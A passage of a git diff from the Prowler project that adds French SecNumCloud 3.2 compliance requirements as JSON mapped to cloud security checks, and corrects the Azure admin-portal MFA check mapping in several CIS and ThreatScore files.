relatif au signalement a une autorite judiciaire ; l'abus de confiance [CP_ART_314-1] ; le secret des correspondances privees [CP_ART_226-15] ; l'atteinte a la vie privee [CP_ART_226-1] ; l'acces ou le maintien frauduleux a un systeme d'information [CP_ART_323-1]. b) Le prestataire doit, selon son role dans les traitements de donnees a caractere personnel (responsable de traitement, sous-traitant ou co-responsable) justifier et documenter les choix de mesures techniques et organisationnelles realises en vue de repondre aux exigences de protection des donnees a caractere personnel du present referentiel (voir partie 19.5). c) Le prestataire doit documenter et mettre en oeuvre les procedures permettant de respecter les exigences legales, reglementaires et contractuelles en vigueur applicables au service, ainsi que les besoins de securite specifiques (voir exigence 8.3b)). d) Le prestataire doit, sur demande d'un commanditaire, lui rendre accessible l'ensemble de ces procedures. e) Le prestataire doit documenter et mettre en oeuvre un processus de veille actif des exigences legales, reglementaires et contractuelles en vigueur applicables au service." + } + ], + "Checks": [] + }, + { + "Id": "18.2", + "Description": "L'approche du prestataire vis-a-vis de la gestion de la securite de l'information et sa mise en oeuvre (c'est-a-dire les objectifs de controle, les mesures, les politiques, les procedures et les processus relatifs a la securite de l'information) doivent etre revues de maniere independante a intervalles definis ou en cas de changement significatif.", + "Name": "Revue independante de la securite de l'information", + "Attributes": [ + { + "Section": "18. Conformite", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre un programme d'audit sur trois ans definissant le perimetre et la frequence des audits en accord avec la gestion du changement, les politiques, et les resultats de l'appreciation des risques. Le prestataire doit inclure dans le programme d'audit un audit qualifie par an realise par un prestataire d'audit de la securite des systemes d'information [PASSI] qualifie. L'ensemble du programme d'audit doit notamment couvrir : l'audit de la configuration de l'infrastructure technique du service (par echantillonnage et doit inclure tous types d'equipements et de serveurs presents dans le systeme d'information du service) ; le test d'intrusion des interfaces d'administration exposees sur un reseau public ; le test d'intrusion de l'interface utilisateur pour les services SaaS ; si le service beneficie de developpements internes, l'audit de code source portant sur les fonctionnalites de securite implementees (l'approche en continue doit etre privilegiee). b) Il est recommande que le prestataire mette en oeuvre des mecanismes automatises d'audit de la configuration adaptes a l'infrastructure technique du service." + } + ], + "Checks": [] + }, + { + "Id": "18.3", + "Description": "Les responsables doivent regulierement s'assurer de la conformite du traitement de l'information et des procedures au sein de leur domaine de responsabilite, au regard des politiques et des normes de securite.", + "Name": "Conformite avec les politiques et les normes de securite", + "Attributes": [ + { + "Section": "18. Conformite", + "Service": "securitycenter", + "Type": "Partially Automated", + "Comment": "a) Le prestataire via le responsable de la securite de l'information doit s'assurer regulierement de l'execution correcte de l'ensemble des procedures de securite placees sous sa responsabilite en vue de garantir leur conformite avec les politiques et normes de securite." + } + ], + "Checks": [ + "securitycenter_advanced_or_enterprise_edition", + "actiontrail_multi_region_enabled" + ] + }, + { + "Id": "18.4", + "Description": "Les systemes d'information doivent etre examines regulierement quant a leur conformite avec les politiques et les normes de securite de l'information du prestataire.", + "Name": "Examen de la conformite technique", + "Attributes": [ + { + "Section": "18. Conformite", + "Service": "securitycenter", + "Type": "Partially Automated", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une politique permettant de verifier la conformite technique du service aux exigences du present referentiel. Cette politique doit definir les objectifs, methodes, frequences, resultats attendus et mesures correctrices." + } + ], + "Checks": [ + "securitycenter_vulnerability_scan_enabled", + "securitycenter_advanced_or_enterprise_edition" + ] + }, + { + "Id": "19.1", + "Description": "Le prestataire doit etablir une convention de service avec le commanditaire definissant les engagements de niveau de service, les responsabilites et les conditions d'utilisation du service cloud.", + "Name": "Convention de service", + "Attributes": [ + { + "Section": "19. Exigences supplementaires", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit etablir une convention de service avec chacun des commanditaires du service. Toute modification de la convention de service doit etre soumise a acceptation du commanditaire. b) Le prestataire doit identifier dans la convention de service : les obligations, droits et responsabilites de chacune des parties : prestataire et tiers impliques dans la fourniture du service, commanditaires, etc. ; les elements explicitement exclus des responsabilites du prestataire dans la limite de ce que prevoient les exigences legales et reglementaires en vigueur, notamment l'article 28 du [RGPD] ; la localisation du service. La localisation du support doit etre precisee lorsqu'il est realise depuis un Etat hors l'Union Europeenne, comme le permet l'exigence 19.2.e. c) Le prestataire doit proposer une convention de service appliquant le droit d'un Etat membre de l'Union Europeenne. Le droit applicable doit etre identifie dans la convention de service. d) La convention de service doit indiquer que la collecte, la manipulation, le stockage, et plus generalement le traitement des donnees faits dans le cadre de l'avant-vente, de la mise en oeuvre, de la maintenance et l'arret du service sont realises conformement aux exigences edictees par la legislation en vigueur. e) La convention de service doit indiquer que le prestataire doit mettre a la disposition du commanditaire, sur demande de celui-ci, les elements d'appreciation des risques lies a la soumission des donnees du commanditaire au droit d'un etat non-membre de l'Union Europeenne (voir 5.3.e). f) Le prestataire doit decrire dans la convention de service les moyens techniques et organisationnels qu'il met en oeuvre pour assurer le respect du droit applicable. g) Le prestataire doit inclure dans la convention de service une clause de revision de la convention prevoyant notamment une resiliation sans penalite pour le commanditaire en cas de perte de la qualification octroyee au service. h) Le prestataire doit inclure dans la convention de service une clause de reversibilite permettant au commanditaire de recuperer l'ensemble de ses donnees (fournies directement par le commanditaire ou produites dans le cadre du service a partir des donnees ou des actions du commanditaire). i) Le prestataire doit assurer cette reversibilite via l'une des modalites techniques suivantes : la mise a disposition de fichiers suivant un ou plusieurs formats documentes et exploitables en dehors du service fourni par le prestataire ; la mise en place d'interfaces techniques permettant l'acces aux donnees suivant un schema documente et exploitable (API, format pivot, etc.). Les modalites techniques de la reversibilite figurent dans la convention de service. j) Le prestataire doit indiquer dans la convention de service le niveau de disponibilite du service. k) Le prestataire doit indiquer dans la convention de service qu'il ne peut disposer des donnees transmises et generees par le commanditaire, leur disposition etant reservee au commanditaire. l) Le prestataire doit indiquer dans la convention de service qu'il ne divulgue aucune information relative a la prestation a des tiers, sauf autorisation formelle et ecrite du commanditaire. m) Le prestataire doit indiquer dans la convention de service si les donnees du commanditaire sont automatiquement sauvegardees ou non. Dans la negative, le prestataire doit sensibiliser le commanditaire aux risques encourus et clairement indiquer les operations a mener par le commanditaire pour que ses donnees soient sauvegardees. n) Le prestataire doit indiquer dans la convention de service s'il autorise l'acces distant pour des actions d'administration ou de support au systeme d'information du service. o) Le prestataire doit preciser dans la convention de service que : le service est qualifie et inclure l'attestation de qualification ; le commanditaire peut deposer une reclamation relative au service qualifie aupres de l'ANSSI ; le commanditaire autorise l'ANSSI et l'organisme de qualification a auditer le service et son systeme d'information du service afin de verifier qu'ils respectent les exigences du present referentiel. p) Le prestataire doit preciser dans la convention de service que le commanditaire autorise, conformement au present referentiel (voir chapitre 18.2, un prestataire d'audit de la securite des systemes d'information [PASSI] qualifie mandate par le prestataire a auditer le service et son systeme d'information dans le cadre du plan de controle. q) Le prestataire doit preciser dans la convention de service qu'il s'engage a mettre a disposition toutes les informations necessaires a la realisation d'audits de conformite aux dispositions de l'article 28 du [RGPD], menes par le commanditaire ou un tiers mandate. r) Il est recommande que le tiers mandate pour les audits soit un prestataire d'audit de la securite des systemes d'information [PASSI] qualifie." + } + ], + "Checks": [] + }, + { + "Id": "19.2", + "Description": "Les donnees du commanditaire doivent etre stockees et traitees dans des centres de donnees situes sur le territoire de l'Union europeenne. Les politiques de restriction de region doivent etre appliquees.", + "Name": "Localisation des donnees", + "Attributes": [ + { + "Section": "19. Exigences supplementaires", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et communiquer au commanditaire la localisation du stockage et du traitement des donnees de ce dernier. b) Le prestataire doit stocker et traiter les donnees du commanditaire au sein de l'Union Europeenne. c) Les operations d'administration et de supervision du service doivent etre realisees depuis le territoire de l'Union Europeenne. d) Le prestataire doit stocker et traiter les donnees techniques (identites des beneficiaires et des administrateurs de l'infrastructure technique, donnees manipulees par le Software Defined Network, journaux de l'infrastructure technique, annuaire, certificats, configuration des acces, etc.) au sein de l'Union Europeenne. e) Le prestataire peut realiser des operations de support aux commanditaires depuis un Etat hors de l'Union Europeenne. Il doit documenter la liste des operations qui peuvent etre effectuees par le support au commanditaire depuis un Etat hors de l'Union Europeenne, et les mecanismes permettant d'en assurer le controle d'acces et la supervision depuis l'Union Europeenne." + } + ], + "Checks": [] + }, + { + "Id": "19.3", + "Description": "Les services cloud qualifies SecNumCloud doivent etre operes depuis le territoire de l'Union europeenne.", + "Name": "Regionalisation", + "Attributes": [ + { + "Section": "19. Exigences supplementaires", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit s'assurer que les interfaces du service accessibles au commanditaire soient au moins disponibles en langue francaise. b) Le prestataire doit fournir un support de premier niveau en langue francaise." + } + ], + "Checks": [] + }, + { + "Id": "19.4", + "Description": "Le prestataire doit definir les conditions de fin de contrat, incluant les modalites de restitution et de suppression des donnees du commanditaire.", + "Name": "Fin de contrat", + "Attributes": [ + { + "Section": "19. Exigences supplementaires", + "Service": "general", + "Type": "Manual", + "Comment": "a) A la fin du contrat liant le prestataire et le commanditaire, que le contrat soit arrive a son terme ou pour toute autre cause, le prestataire doit assurer un effacement securise de l'integralite des donnees du commanditaire. Cet effacement doit faire l'objet d'un preavis formel au commanditaire de la part du prestataire respectant un delai de vingt et un jours calendaires. L'effacement peut etre realise suivant l'une des methodes suivantes, et ce dans un delai precise dans la convention de service : effacement par reecriture complete de tout support ayant heberge ces donnees ; effacement des cles utilisees pour le chiffrement des espaces de stockage du commanditaire decrit au chapitre 10.1 ; recyclage securise, dans les conditions enoncees au chapitre 11.9. b) A la fin du contrat, le prestataire doit supprimer les donnees techniques relatives au commanditaire (annuaire, certificats, configuration des acces, etc.)." + } + ], + "Checks": [] + }, + { + "Id": "19.5", + "Description": "Le prestataire doit mettre en oeuvre des mesures techniques et organisationnelles appropriees pour garantir la protection des donnees a caractere personnel conformement a la reglementation en vigueur.", + "Name": "Protection des donnees a caractere personnel", + "Attributes": [ + { + "Section": "19. Exigences supplementaires", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit justifier du respect des principes de protection des donnees pour les traitements de donnees a caractere personnel mis en oeuvre pour son propre compte. Il doit justifier au minimum les points suivants : les finalites des traitements determinees, explicites et legitimes ; la tracabilite des activites de traitement pour son compte et celui de son commanditaire ; le fondement licite des traitements ; l'interdiction du detournement de finalite des traitements ; les donnees utilisees respectent le principe du minimum necessaire et suffisant pour les traitements ; ainsi sont adequates, pertinentes et limitees ; la qualite des donnees utilisees pour les traitements maintenue : donnees exactes et tenues a jour ; les durees de conservation definies et limitees. b) Le prestataire doit justifier, pour les traitements de donnees a caractere personnel mis en oeuvre pour son propre compte, du respect des droits des personnes concernees. Il doit justifier au minimum les points suivants : l'information des usagers via un traitement loyal et transparent ; le recueil du consentement des usagers : expres, demontrable et retirable ; la possibilite pour les usagers d'exercer les droits d'acces, de rectification et d'effacement ; la possibilite pour les usagers d'exercer les droits de limitation du traitement, de portabilite et d'opposition. c) Lorsqu'il agit en qualite de sous-traitant au sens de l'article 28 de [RGPD], le prestataire doit apporter assistance et conseil au commanditaire en l'informant si une instruction de ce dernier constitue une violation des regles de protection des donnees." + } + ], + "Checks": [] + }, + { + "Id": "19.6", + "Description": "Le prestataire doit mettre en oeuvre des mesures de protection vis-a-vis du droit extra-europeen, afin de garantir que les donnees du commanditaire ne puissent etre soumises a des legislations extra-europeennes.", + "Name": "Protection vis-a-vis du droit extra-europeen", + "Attributes": [ + { + "Section": "19. Exigences supplementaires", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le siege statutaire, administration centrale et principal etablissement du prestataire doivent etre etablis au sein d'un Etat membre de l'Union Europeenne. b) Le capital social et les droits de vote dans la societe du prestataire ne doivent pas etre, directement ou indirectement : individuellement detenus a plus de 24% ; et collectivement detenus a plus de 39% ; par des entites tierces possedant leur siege statutaire, administration centrale ou principal etablissement au sein d'un Etat non membre de l'Union europeenne. Ces entites tierces susmentionnees ne peuvent pas individuellement ou collectivement : en vertu d'un contrat ou de clauses statutaires, disposer d'un droit de veto ; en vertu d'un contrat ou de clauses statutaires, designer la majorite des membres des organes d'administration, de direction ou de surveillance du prestataire. c) En cas de recours par le prestataire, dans le cadre des services fournis au commanditaire, aux services d'une societe tierce - y compris un sous-traitant - possedant son siege statutaire, administration centrale ou principal etablissement au sein d'un Etat non membre de l'Union Europeenne ou appartenant ou etant controlee par une societe tierce domiciliee en dehors l'Union Europeenne, cette susdite societe tierce ne doit pas avoir la possibilite technique d'obtenir les donnees operees au travers du service. d) Dans le cadre de l'exigence 19.6.c, toute societe tierce a laquelle le prestataire recourt pour fournir tout ou partie du service rendu au commanditaire, doit garantir au prestataire une autonomie d'exploitation continue dans la fourniture des services d'informatique en nuage qu'il opere ou doit etre qualifie SecNumCloud. e) Le service fourni par le prestataire doit respecter la legislation en vigueur en matiere de droits fondamentaux et les valeurs de l'Union relatives au respect de la dignite humaine, a la liberte, a l'egalite, a la democratie et a l'Etat de droit. f) Le prestataire doit informer formellement le commanditaire, et dans un delai d'un mois, de tout changement juridique, organisationnel ou technique pouvant avoir un impact sur la conformite de la prestation aux exigences du chapitre 19.6." + } + ], + "Checks": [] + } + ] +} diff --git a/prowler/compliance/azure/cis_3.0_azure.json b/prowler/compliance/azure/cis_3.0_azure.json index 3e70009d72..90fa5bfea0 100644 --- a/prowler/compliance/azure/cis_3.0_azure.json +++ b/prowler/compliance/azure/cis_3.0_azure.json @@ -752,7 +752,7 @@ "Id": "2.2.8", "Description": "Ensure Multi-factor Authentication is Required to access Microsoft Admin Portals", "Checks": [ - "defender_ensure_defender_for_server_is_on" + "entra_conditional_access_policy_require_mfa_for_admin_portals" ], "Attributes": [ { diff --git a/prowler/compliance/azure/cis_4.0_azure.json b/prowler/compliance/azure/cis_4.0_azure.json index 0df135a546..3777d24663 100644 --- a/prowler/compliance/azure/cis_4.0_azure.json +++ b/prowler/compliance/azure/cis_4.0_azure.json @@ -1036,7 +1036,7 @@ "Id": "6.2.7", "Description": "Ensure that multifactor authentication is required to access Microsoft Admin Portals", "Checks": [ - "defender_ensure_defender_for_server_is_on" + "entra_conditional_access_policy_require_mfa_for_admin_portals" ], "Attributes": [ { diff --git a/prowler/compliance/azure/cis_5.0_azure.json b/prowler/compliance/azure/cis_5.0_azure.json index 4a7172de77..f786ebd3e2 100644 --- a/prowler/compliance/azure/cis_5.0_azure.json +++ b/prowler/compliance/azure/cis_5.0_azure.json @@ -472,7 +472,7 @@ "Id": "5.2.7", "Description": "Ensure that multifactor authentication is required to access Microsoft Admin Portals", "Checks": [ - "defender_ensure_defender_for_server_is_on" + "entra_conditional_access_policy_require_mfa_for_admin_portals" ], "Attributes": [ { diff --git a/prowler/compliance/azure/prowler_threatscore_azure.json b/prowler/compliance/azure/prowler_threatscore_azure.json index 1eabf7d582..aa801887b2 100644 --- a/prowler/compliance/azure/prowler_threatscore_azure.json +++ b/prowler/compliance/azure/prowler_threatscore_azure.json @@ -63,7 +63,7 @@ "Id": "1.1.4", "Description": "Ensure Multi-factor Authentication is Required to access Microsoft Admin Portals", "Checks": [ - "defender_ensure_defender_for_server_is_on" + "entra_conditional_access_policy_require_mfa_for_admin_portals" ], "Attributes": [ { diff --git a/prowler/compliance/azure/secnumcloud_3.2_azure.json b/prowler/compliance/azure/secnumcloud_3.2_azure.json new file mode 100644 index 0000000000..ef8c94113e --- /dev/null +++ b/prowler/compliance/azure/secnumcloud_3.2_azure.json @@ -0,0 +1,1504 @@ +{ + "Framework": "SecNumCloud", + "Name": "SecNumCloud Referentiel d'Exigences v3.2", + "Version": "3.2", + "Provider": "Azure", + "Description": "The SecNumCloud framework is published by ANSSI (Agence Nationale de la Securite des Systemes d'Information) to qualify cloud service providers operating in France. Version 3.2, dated March 8, 2022, covers IaaS, CaaS, PaaS, and SaaS services with requirements spanning information security policies, access control, cryptography, physical security, operational security, communications security, and data sovereignty protections against extra-European law.", + "Requirements": [ + { + "Id": "5.1", + "Description": "Le prestataire doit definir et appliquer des principes de securite de l'information adaptes a ses activites de fourniture de services cloud.", + "Name": "Principes", + "Attributes": [ + { + "Section": "5. Politiques de securite de l'information et gestion du risque", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit operer la prestation a l'etat de l'art pour le type d'activite retenu : utiliser des logiciels stables beneficiant d'un suivi des correctifs de securite et parametres de facon a obtenir un niveau de securite optimal. b) Le prestataire doit appliquer le guide d'hygiene informatique de l'ANSSI [HYGIENE], niveau renforce, au systeme d'information du service." + } + ], + "Checks": [] + }, + { + "Id": "5.2", + "Description": "Le prestataire doit definir, faire approuver par la direction, publier et communiquer aux salaries et aux tiers concernes un ensemble de politiques de securite de l'information.", + "Name": "Politique de securite de l'information", + "Attributes": [ + { + "Section": "5. Politiques de securite de l'information et gestion du risque", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une politique de securite de l'information relative au service. b) La politique de securite de l'information doit identifier les engagements du prestataire quant au respect de la legislation et reglementation nationale en vigueur selon la nature des informations qui pourraient etre confiees par le commanditaire au prestataire ; il revient en revanche in fine au commanditaire de s'assurer du respect des contraintes legales et reglementaires applicables aux donnees qu'il confie effectivement au prestataire. c) La politique de securite de l'information doit notamment couvrir les themes abordes aux chapitres 6 a 19 du present referentiel. d) La direction du prestataire doit approuver formellement la politique de securite de l'information. e) Le prestataire doit reviser annuellement la politique de securite de l'information et a chaque changement majeur pouvant avoir un impact sur le service." + } + ], + "Checks": [] + }, + { + "Id": "5.3", + "Description": "Le prestataire doit definir et appliquer un processus d'appreciation des risques de securite de l'information.", + "Name": "Appreciation des risques", + "Attributes": [ + { + "Section": "5. Politiques de securite de l'information et gestion du risque", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter une appreciation des risques couvrant l'ensemble du perimetre du service. b) Le prestataire doit realiser son appreciation de risques en utilisant une methode documentee garantissant la reproductibilite et comparabilite de la demarche. c) Le prestataire doit prendre en compte dans l'appreciation des risques : la gestion d'informations du commanditaire ayant des besoins de securite differents ; les risques ayant des impacts sur les droits et libertes des personnes concernees en cas d'acces non autorise, de modification non desiree et de disparition de donnees a caractere personnel ; les risques de defaillance des mecanismes de cloisonnement des ressources de l'infrastructure technique (memoire, calcul, stockage, reseau) partagees entre les commanditaires ; les risques lies a l'effacement incomplet ou non securise des donnees stockees sur les espaces de memoire ou de stockage partages entre commanditaires, en particulier lors des reallocations des espaces de memoire et de stockage ; les risques lies a l'exposition des interfaces d'administration sur un reseau public ; les risques d'atteinte a la confidentialite des donnees des commanditaires par des tiers impliques dans la fourniture du service (fournisseurs, sous-traitants, etc.) ; les risques lies aux evenements naturels et sinistres physiques ; les risques lies a la separation des taches (voir 6.2.a) ; les risques lies aux environnements de developpement (voir 14.4.b). d) Le prestataire doit lister, dans un document specifique, les risques residuels lies a l'existence de lois extra-europeennes ayant pour objectif la collecte de donnees ou metadonnees des commanditaires sans leur consentement prealable. e) Le prestataire doit mettre a la disposition du commanditaire, sur demande de celui-ci, les elements d'appreciation des risques lies a la soumission des donnees du commanditaire au droit d'un etat non-membre de l'Union Europeenne. f) Lorsqu'il existe des exigences legales, reglementaires ou sectorielles specifiques liees aux types d'informations confiees par le commanditaire au prestataire, ce dernier doit les prendre en compte dans son appreciation des risques en s'assurant de respecter l'ensemble des exigences du present referentiel d'une part et de ne pas abaisser le niveau de securite etabli par le respect des exigences du present referentiel d'autre part. g) La direction du prestataire doit accepter formellement les risques residuels identifies dans l'appreciation des risques. h) Le prestataire doit reviser annuellement l'appreciation des risques et a chaque changement majeur pouvant avoir un impact sur le service." + } + ], + "Checks": [] + }, + { + "Id": "6.1", + "Description": "Le prestataire doit definir et attribuer toutes les responsabilites en matiere de securite de l'information.", + "Name": "Fonctions et responsabilites liees a la securite de l'information", + "Attributes": [ + { + "Section": "6. Organisation de la securite de l'information", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une organisation interne de la securite pour assurer la definition, la mise en place et le suivi du fonctionnement operationnel de la securite de l'information au sein de son organisation. b) Le prestataire doit designer un responsable de la securite des systemes d'information et un responsable de la securite physique. c) Le prestataire doit definir et attribuer les responsabilites en matiere de securite de l'information pour le personnel implique dans la fourniture du service. d) Le prestataire doit s'assurer apres tout changement majeur pouvant avoir un impact sur le service que l'attribution des responsabilites en matiere de securite de l'information est toujours pertinente. e) Le prestataire doit definir et attribuer les responsabilites en matiere de protection de donnees a caractere personnel, en coherence avec son role dans les traitements de donnees a caractere personnel (responsable de traitement, sous-traitant ou co-responsable). f) Le prestataire doit, lorsqu'il traite un grand nombre de donnees parmi lesquelles figurent des categories particulieres de donnees a caractere personnel telles que definies dans [RGPD], designer un delegue a la protection des donnees. g) Il est recommande que le prestataire, quel que soit le volume de donnees a caractere personnel qu'il traite, designe un delegue a la protection des donnees. h) Le prestataire doit realiser ou contribuer a la realisation d'une analyse d'impact relative a la protection des donnees a caractere personnel lorsque le traitement est susceptible d'engendrer un risque eleve pour les droits et libertes des personnes concernees (traitement de categories particulieres de donnees a caractere personnel telles que definies dans [RGPD], traitement de donnees a grande echelle, etc.). Cette analyse doit comporter une evaluation juridique du respect des principes et droits fondamentaux, ainsi qu'une etude plus technique des mesures techniques mises en oeuvre pour proteger les personnes des risques pour leur vie privee." + } + ], + "Checks": [] + }, + { + "Id": "6.2", + "Description": "Le prestataire doit separer les taches et les domaines de responsabilite incompatibles afin de reduire les possibilites de modification non autorisee ou de mauvais usage des actifs.", + "Name": "Separation des taches", + "Attributes": [ + { + "Section": "6. Organisation de la securite de l'information", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit identifier les risques associes a des cumuls de responsabilites ou de taches, les prendre en compte dans l'appreciation des risques et mettre en oeuvre des mesures de reduction de ces risques." + } + ], + "Checks": [] + }, + { + "Id": "6.3", + "Description": "Le prestataire doit etablir et maintenir des relations appropriees avec les autorites competentes.", + "Name": "Relations avec les autorites", + "Attributes": [ + { + "Section": "6. Organisation de la securite de l'information", + "Service": "general", + "Type": "Manual", + "Comment": "a) Il est recommande que le prestataire mette en place des relations appropriees avec les autorites competentes en matiere de securite de l'information et de donnees a caractere personnel et, le cas echeant, avec les autorites sectorielles selon la nature des informations confiees par le commanditaire au prestataire." + } + ], + "Checks": [] + }, + { + "Id": "6.4", + "Description": "Le prestataire doit etablir et maintenir des relations appropriees avec des groupes de travail specialises, des associations professionnelles ou des forums traitant de la securite.", + "Name": "Relations avec les groupes de travail specialises", + "Attributes": [ + { + "Section": "6. Organisation de la securite de l'information", + "Service": "general", + "Type": "Manual", + "Comment": "a) Il est recommande que le prestataire entretienne des contacts appropries avec des groupes de specialistes ou des sources reconnues, notamment pour prendre en compte de nouvelles menaces et les mesures de securite appropriees pour les contrer." + } + ], + "Checks": [] + }, + { + "Id": "6.5", + "Description": "Le prestataire doit integrer la securite de l'information dans la gestion de projet, quel que soit le type de projet.", + "Name": "La securite de l'information dans la gestion de projet", + "Attributes": [ + { + "Section": "6. Organisation de la securite de l'information", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter une estimation des risques prealablement a tout projet pouvant avoir un impact sur le service, et ce quelle que soit la nature du projet. b) Dans la mesure ou un projet affecte ou est susceptible d'affecter le niveau de securite du service, le prestataire doit avertir le commanditaire et l'informer par ecrit des impacts potentiels, des mesures mises en place pour reduire ces impacts ainsi que des risques residuels le concernant." + } + ], + "Checks": [] + }, + { + "Id": "7.1", + "Description": "Le prestataire doit s'assurer que les candidats a l'embauche font l'objet de verifications proportionnees aux exigences metier, a la classification des informations accessibles et aux risques identifies.", + "Name": "Selection des candidats", + "Attributes": [ + { + "Section": "7. Securite des ressources humaines", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure de verification des informations concernant son personnel conforme aux lois et reglements en vigueur. Ces verifications s'appliquent a toute personne impliquee dans la fourniture du service et doivent etre proportionnelles a la sensibilite ou a la specificite des informations du commanditaire confiees au prestataire ainsi qu'aux risques identifies. b) Pour les personnels disposant de privileges d'administration eleves sur les composants logiciels et materiels de l'infrastructure, le prestataire doit renforcer les verifications destinees a verifier que les antecedents de ceux-ci ne sont pas incompatibles avec l'exercice de leurs fonctions. Il est entendu par des privileges d'administration eleves, des actions permettant l'elevation de privileges ou la possibilite de realiser des actions sans traces techniques ou de desactiver, alterer les traces techniques." + } + ], + "Checks": [] + }, + { + "Id": "7.2", + "Description": "Les accords contractuels avec les salaries et les sous-traitants doivent preciser leurs responsabilites et celles du prestataire en matiere de securite de l'information.", + "Name": "Conditions d'embauche", + "Attributes": [ + { + "Section": "7. Securite des ressources humaines", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit disposer d'une charte d'ethique integree au reglement interieur, prevoyant notamment que : les prestations sont realisees avec loyaute, discretion et impartialite et dans des conditions de confidentialite des informations traitees ; les personnels ne recourent qu'aux methodes, outils et techniques valides par le prestataire ; les personnels s'engagent a ne pas divulguer d'informations a un tiers, meme anonymisees et decontextualisees, obtenues ou generees dans le cadre de la prestation sauf autorisation formelle et ecrite du commanditaire ; les personnels s'engagent a signaler au prestataire tout contenu manifestement illicite decouvert pendant la prestation ; les personnels s'engagent a respecter la legislation et la reglementation nationale en vigueur et les bonnes pratiques liees a leurs activites. b) Le prestataire doit faire signer la charte d'ethique a l'ensemble des personnes impliquees dans la fourniture du service. c) Le prestataire doit introduire, dans le contrat de travail des personnels disposant de privileges d'administration eleves sur les composants et materiels de l'infrastructure du service, un engagement de responsabilite avec un renvoi aux clauses du code du travail sur la protection du secret des affaires et de la propriete intellectuelle. Il est entendu par des privileges d'administration eleves, des actions permettant l'elevation de privileges ou la possibilite de realiser des actions sans traces techniques ou de desactiver, alterer les traces techniques. d) Le prestataire doit, sur demande d'un commanditaire, lui rendre accessible le reglement interieur et la charte d'ethique." + } + ], + "Checks": [] + }, + { + "Id": "7.3", + "Description": "Les salaries du prestataire et, le cas echeant, les sous-traitants doivent suivre un programme de sensibilisation et de formation adapte et regulier concernant la securite de l'information.", + "Name": "Sensibilisation, apprentissage et formations a la securite de l'information", + "Attributes": [ + { + "Section": "7. Securite des ressources humaines", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit sensibiliser a la securite de l'information et aux risques lies a la protection des donnees l'ensemble des personnes impliquees dans la fourniture du service. Il doit leur communiquer les mises a jour des politiques et procedures pertinentes dans le cadre de leurs missions. b) Le prestataire doit documenter et mettre en oeuvre un plan de formation concernant la securite de l'information adapte au service et aux missions des personnels. c) Le responsable de la securite des systemes d'information du prestataire doit valider formellement le plan de formation concernant la securite de l'information." + } + ], + "Checks": [] + }, + { + "Id": "7.4", + "Description": "Le prestataire doit mettre en place un processus disciplinaire formel et communique pour prendre des mesures a l'encontre des salaries ayant enfreint les regles de securite de l'information.", + "Name": "Processus disciplinaire", + "Attributes": [ + { + "Section": "7. Securite des ressources humaines", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre un processus disciplinaire applicable a l'ensemble des personnes impliquees dans la fourniture du service ayant enfreint la politique de securite. b) Le prestataire doit, sur demande d'un commanditaire, lui rendre accessible les sanctions encourues en cas d'infraction a la politique de securite." + } + ], + "Checks": [] + }, + { + "Id": "7.5", + "Description": "Les responsabilites et les obligations en matiere de securite de l'information qui restent valables apres un changement ou une rupture du contrat de travail doivent etre definies, communiquees au salarie ou au sous-traitant et appliquees.", + "Name": "Rupture, terme ou modification du contrat de travail", + "Attributes": [ + { + "Section": "7. Securite des ressources humaines", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit definir et attribuer les roles et les responsabilites relatives a la rupture, au terme ou a la modification de tout contrat avec une personne impliquee dans la fourniture du service." + } + ], + "Checks": [] + }, + { + "Id": "8.1", + "Description": "Le prestataire doit identifier les actifs associes a l'information et aux moyens de traitement de l'information et doit etablir et tenir a jour un inventaire de ces actifs.", + "Name": "Inventaire et propriete des actifs", + "Attributes": [ + { + "Section": "8. Gestion des actifs", + "Service": "config", + "Type": "Partially Automated", + "Comment": "a) Le prestataire doit tenir a jour l'inventaire de l'ensemble des equipements mettant en oeuvre le service. Cet inventaire doit preciser pour chaque equipement : les informations d'identification de l'equipement (noms, adresses IP, adresses MAC, etc.) ; la fonction de l'equipement ; le modele de l'equipement ; la localisation de l'equipement ; le proprietaire de l'equipement ; le besoin de securite des informations (au sens du chapitre 8.3). b) Le prestataire doit tenir a jour l'inventaire de l'ensemble des logiciels mettant en oeuvre le service. Cet inventaire doit identifier pour chaque logiciel, sa version et les equipements sur lesquels le logiciel est installe. c) Le prestataire doit s'assurer de la validite des licences des logiciels tout au long de la prestation." + } + ], + "Checks": [ + "policy_ensure_asc_enforcement_enabled" + ] + }, + { + "Id": "8.2", + "Description": "Les salaries et les utilisateurs de tiers doivent restituer tous les actifs du prestataire en leur possession au terme de la periode d'emploi, du contrat ou de l'accord.", + "Name": "Restitution des actifs", + "Attributes": [ + { + "Section": "8. Gestion des actifs", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure de restitution des actifs permettant de s'assurer que chaque personne impliquee dans la fourniture du service restitue l'ensemble des actifs en sa possession a la fin de sa periode d'emploi ou de son contrat." + } + ], + "Checks": [] + }, + { + "Id": "8.3", + "Description": "Les besoins de protection de la confidentialite, de l'integrite et de la disponibilite de l'information doivent etre identifies.", + "Name": "Identification des besoins de securite de l'information", + "Attributes": [ + { + "Section": "8. Gestion des actifs", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit identifier les differents besoins de securite des informations relatives au service. b) Lorsque le commanditaire confie au prestataire des donnees soumises a des contraintes legales, reglementaires ou sectorielles specifiques, le prestataire doit identifier les besoins de securite specifiques associes a ces 